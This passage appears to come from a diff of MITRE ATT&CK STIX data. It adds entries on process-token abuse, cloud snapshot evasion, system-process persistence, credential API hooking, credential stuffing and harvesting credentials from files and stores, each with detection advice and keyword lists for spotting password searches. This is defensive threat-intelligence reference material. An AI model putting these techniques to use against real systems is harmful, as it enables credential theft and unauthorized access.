creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1578/002", + "external_id": "T1578.002", + "source_name": "mitre-attack" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + }, + { + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", + "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", + "source_name": "AWS CloudTrail Search" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", + "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.", + "source_name": "Azure Activity Logs" + }, + { + "url": "https://cloud.google.com/logging/docs/audit#admin-activity", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "source_name": "Cloud Audit Logs" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Create Process with Token", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T14:51:48.978Z", + "created": "2020-02-18T16:48:56.582Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_defense_bypassed": [ + "Windows User Account Control", + "System access controls", + "File system access controls" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", + "description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).", + "x_mitre_contributors": [ + "Vadim Khrykov" + ], + "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1134/002", + "external_id": "T1134.002", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)", + "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.", + "source_name": "Microsoft RunAs" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Create Snapshot", + "x_mitre_data_sources": [ + "Snapshot: Snapshot Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:02.060Z", + "created": "2020-06-09T15:33:13.563Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\": parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1578/001", + "external_id": "T1578.001", + "source_name": "mitre-attack" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + }, + { + "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html", + "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.", + "source_name": "AWS Cloud Trail Backup API" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor", + "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.", + "source_name": "Azure - Monitor Logs" + }, + { + "url": "https://cloud.google.com/logging/docs/audit#admin-activity", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "source_name": "Cloud Audit Logs" + }, + { + "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2", + "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.", + "source_name": "GCP - Creating and Starting a VM" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Create or Modify System Process", + "x_mitre_data_sources": [ + "Service: Service Creation", + "Service: Service Modification", + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2021-11-03T20:11:52.175Z", + "created": "2020-01-10T16:03:18.865Z", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1543", + "external_id": "T1543", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credential API Hooking", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T18:29:31.138Z", + "created": "2020-02-11T19:01:15.930Z", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", + "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1056/004", + "external_id": "T1056.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918", + "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", + "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017" + }, + { + "source_name": "Microsoft Hook Overview", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Adlice Software IAT Hooks Oct 2014", + "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", + "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/" + }, + { + "source_name": "MWRInfoSecurity Dynamic Hooking 2015", + "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", + "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/" + }, + { + "source_name": "HighTech Bridge Inline Hooking Sept 2011", + "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", + "url": "https://www.exploit-db.com/docs/17802.pdf" + }, + { + "source_name": "Volatility Detecting Hooks Sept 2012", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html" + }, + { + "source_name": "PreKageo Winhook Jul 2011", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", + "url": "https://github.com/prekageo/winhook" + }, + { + "source_name": "Jay GetHooks Sept 2011", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", + "url": "https://github.com/jay/gethooks" + }, + { + "source_name": "Zairon Hooking Dec 2006", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" + }, + { + "source_name": "EyeofRa Detecting Hooking June 2017", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/" + }, + { + "source_name": "GMER Rootkits", + "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", + "url": "http://www.gmer.net/" + }, + { + "source_name": "Microsoft Process Snapshot", + "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx" + }, + { + "source_name": "StackExchange Hooks Jul 2012", + "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", + "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credential Stuffing", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-06T12:31:06.695Z", + "created": "2020-02-11T18:39:59.959Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", + "x_mitre_contributors": [ + "Diogo Fernandes", + "Anastasios Pingios" + ], + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1110/004", + "external_id": "T1110.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/600.html", + "external_id": "CAPEC-600", + "source_name": "capec" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credentials", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:26:44.352Z", + "created": "2020-10-02T14:55:43.815Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", + "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "x_mitre_contributors": [ + "Vinayak Wadhwa, Lucideus", + "Lee Christensen, SpecterOps", + "Toby Kohlenberg" + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1589/001", + "external_id": "T1589.001", + "source_name": "mitre-attack" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + }, + { + "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/", + "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", + "source_name": "Register Deloitte" + }, + { + "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/", + "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", + "source_name": "Register Uber" + }, + { + "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/", + "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.", + "source_name": "Detectify Slack Tokens" + }, + { + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196", + "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", + "source_name": "Forbes GitHub Creds" + }, + { + "url": "https://github.com/dxa4481/truffleHog", + "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", + "source_name": "GitHub truffleHog" + }, + { + "url": "https://github.com/michenriksen/gitrob", + "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", + "source_name": "GitHub Gitrob" + }, + { + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "source_name": "CNET Leaks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credentials In Files", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/001", + "external_id": "T1552.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/639.html", + "external_id": "CAPEC-639", + "source_name": "capec" + }, + { + "source_name": "CG 2014", + "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", + "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html" + }, + { + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + }, + { + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "source_name": "Unit 42 Hildegard Malware" + }, + { + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", + "source_name": "Unit 42 Unsecured Docker Daemons" + }, + { + "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48", + "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.", + "source_name": "Specter Ops - Cloud Credential Storage" + } + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-12T18:32:32.803Z", + "x_mitre_system_requirements": [ + "Access to files" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", + "x_mitre_contributors": [ + "Rory McCune, Aqua Security", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", + "created": "2020-02-04T12:52:13.006Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credentials from Password Stores", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Access", + "Command: Command Execution", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.0", + "modified": "2021-06-21T17:58:03.788Z", + "created": "2020-02-11T18:48:28.456Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1555", + "external_id": "T1555", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-17T16:03:55.549Z", + "name": "Credentials from Web Browsers", + "created": "2019-06-17T19:34:51.855Z", + "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1503", + "external_id": "T1503", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", + "description": "Microsoft. (2018, April 12). CryptUnprotectData function. 